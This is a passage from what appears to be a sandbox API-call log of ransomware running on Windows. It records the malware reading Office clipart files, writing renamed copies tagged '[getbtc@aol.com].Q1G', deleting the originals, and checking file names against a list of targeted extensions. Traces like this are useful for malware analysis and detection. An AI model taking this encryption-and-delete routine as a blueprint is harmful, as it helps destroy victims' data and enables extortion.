returned -1 [0265.921] lstrlenW (lpString=".bz2") returned 4 [0265.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString=".7z") returned 3 [0265.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.921] lstrlenW (lpString=".dbf") returned 4 [0265.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.921] lstrlenW (lpString=".1cd") returned 4 [0265.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.921] lstrlenW (lpString=".jpg") returned 4 [0265.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.921] lstrlenW (lpString=".doc") returned 4 [0265.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString=".docx") returned 5 [0265.921] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.921] lstrlenW (lpString=".pdf") returned 4 [0265.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString=".xls") returned 4 [0265.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.921] lstrlenW (lpString=".xlsx") returned 5 [0265.921] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.921] lstrlenW (lpString=".ppt") returned 4 [0265.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.921] lstrlenW (lpString=".zip") returned 4 [0265.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.921] lstrlenW (lpString=".rar") returned 4 [0265.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString=".bz2") returned 4 [0265.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.921] lstrlenW (lpString=".7z") returned 3 [0265.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.922] lstrlenW (lpString=".dbf") returned 4 [0265.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.922] lstrlenW (lpString=".1cd") returned 4 [0265.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned 63 [0265.922] lstrlenW (lpString=".jpg") returned 4 [0265.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.922] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.922] lstrlenW (lpString="J0198025.WMF") returned 12 [0265.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.922] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=15566) returned 1 [0265.922] CloseHandle (hObject=0x360) returned 1 [0265.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf")) returned 0x20 [0265.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.923] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.923] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.924] GetLastError () returned 0x0 [0265.924] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3cce, lpOverlapped=0x0) returned 1 [0265.925] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3cd0, lpOverlapped=0x0) returned 1 [0265.926] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.926] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.927] SetEndOfFile (hFile=0x1bc) returned 1 [0265.927] CloseHandle (hObject=0x1bc) returned 1 [0265.927] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.927] SetEndOfFile (hFile=0x360) returned 1 [0265.929] CloseHandle (hObject=0x360) returned 1 [0265.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf")) returned 1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.930] lstrlenW (lpString=".doc") returned 4 [0265.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString=".docx") returned 5 [0265.930] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.930] lstrlenW (lpString=".pdf") returned 4 [0265.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString=".xls") returned 4 [0265.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.930] lstrlenW (lpString=".xlsx") returned 5 [0265.930] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.930] lstrlenW (lpString=".ppt") returned 4 [0265.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.930] lstrlenW (lpString=".zip") returned 4 [0265.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.930] lstrlenW (lpString=".rar") returned 4 [0265.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString=".bz2") returned 4 [0265.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString=".7z") returned 3 [0265.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.930] lstrlenW (lpString=".dbf") returned 4 [0265.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.930] lstrlenW (lpString=".1cd") returned 4 [0265.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.930] lstrlenW (lpString=".jpg") returned 4 [0265.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.931] lstrlenW (lpString=".doc") returned 4 [0265.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString=".docx") returned 5 [0265.931] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.931] lstrlenW (lpString=".pdf") returned 4 [0265.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString=".xls") returned 4 [0265.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.931] lstrlenW (lpString=".xlsx") returned 5 [0265.931] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.931] lstrlenW (lpString=".ppt") returned 4 [0265.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.931] lstrlenW (lpString=".zip") returned 4 [0265.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.931] lstrlenW (lpString=".rar") returned 4 [0265.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString=".bz2") returned 4 [0265.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString=".7z") returned 3 [0265.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.931] lstrlenW (lpString=".dbf") returned 4 [0265.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.931] lstrlenW (lpString=".1cd") returned 4 [0265.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned 63 [0265.931] lstrlenW (lpString=".jpg") returned 4 [0265.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.932] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.932] lstrlenW (lpString="J0198102.WMF") returned 12 [0265.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.932] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=54964) returned 1 [0265.932] CloseHandle (hObject=0x360) returned 1 [0265.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf")) returned 0x20 [0265.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.933] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.933] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.933] GetLastError () returned 0x0 [0265.933] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xd6b4, lpOverlapped=0x0) returned 1 [0265.936] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xd6c0, lpOverlapped=0x0) returned 1 [0265.937] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.937] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.937] SetEndOfFile (hFile=0x1bc) returned 1 [0265.937] CloseHandle (hObject=0x1bc) returned 1 [0265.937] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.938] SetEndOfFile (hFile=0x360) returned 1 [0265.940] CloseHandle (hObject=0x360) returned 1 [0265.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf")) returned 1 [0265.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.941] lstrlenW (lpString=".doc") returned 4 [0265.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.941] lstrlenW (lpString=".docx") returned 5 [0265.941] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.941] lstrlenW (lpString=".pdf") returned 4 [0265.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.941] lstrlenW (lpString=".xls") returned 4 [0265.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.941] lstrlenW (lpString=".xlsx") returned 5 [0265.941] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.941] lstrlenW (lpString=".ppt") returned 4 [0265.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString=".zip") returned 4 [0265.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.942] lstrlenW (lpString=".rar") returned 4 [0265.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString=".bz2") returned 4 [0265.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString=".7z") returned 3 [0265.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString=".dbf") returned 4 [0265.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString=".1cd") returned 4 [0265.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString=".jpg") returned 4 [0265.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString=".doc") returned 4 [0265.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString=".docx") returned 5 [0265.942] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.942] lstrlenW (lpString=".pdf") returned 4 [0265.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString=".xls") returned 4 [0265.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.942] lstrlenW (lpString=".xlsx") returned 5 [0265.942] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.942] lstrlenW (lpString=".ppt") returned 4 [0265.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.942] lstrlenW (lpString=".zip") returned 4 [0265.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.942] lstrlenW (lpString=".rar") returned 4 [0265.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.943] lstrlenW (lpString=".bz2") returned 4 [0265.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.943] lstrlenW (lpString=".7z") returned 3 [0265.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.943] lstrlenW (lpString=".dbf") returned 4 [0265.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.943] lstrlenW (lpString=".1cd") returned 4 [0265.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0265.943] lstrlenW (lpString=".jpg") returned 4 [0265.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.943] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.943] lstrlenW (lpString="J0198113.WMF") returned 12 [0265.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.944] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=42272) returned 1 [0265.944] CloseHandle (hObject=0x360) returned 1 [0265.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf")) returned 0x20 [0265.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.944] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.944] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.945] GetLastError () returned 0x0 [0265.945] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xa520, lpOverlapped=0x0) returned 1 [0266.057] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa530, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xa530, lpOverlapped=0x0) returned 1 [0266.059] ReadFile (in: hFile=0x360, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.059] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.059] SetEndOfFile (hFile=0x1bc) returned 1 [0266.059] CloseHandle (hObject=0x1bc) returned 1 [0266.059] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.059] SetEndOfFile (hFile=0x360) returned 1 [0266.062] CloseHandle (hObject=0x360) returned 1 [0266.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf")) returned 1 [0266.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.077] lstrlenW (lpString=".doc") returned 4 [0266.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.077] lstrlenW (lpString=".docx") returned 5 [0266.077] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0266.077] lstrlenW (lpString=".pdf") returned 4 [0266.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.077] lstrlenW (lpString=".xls") returned 4 [0266.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.077] lstrlenW (lpString=".xlsx") returned 5 [0266.077] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0266.077] lstrlenW (lpString=".ppt") returned 4 [0266.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.077] lstrlenW (lpString=".zip") returned 4 [0266.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.077] lstrlenW (lpString=".rar") returned 4 [0266.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.077] lstrlenW (lpString=".bz2") returned 4 [0266.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.077] lstrlenW (lpString=".7z") returned 3 [0266.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.078] lstrlenW (lpString=".dbf") returned 4 [0266.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.078] lstrlenW (lpString=".1cd") returned 4 [0266.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0266.078] lstrlenW (lpString=".jpg") returned 4 [0266.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.078] lstrlenW 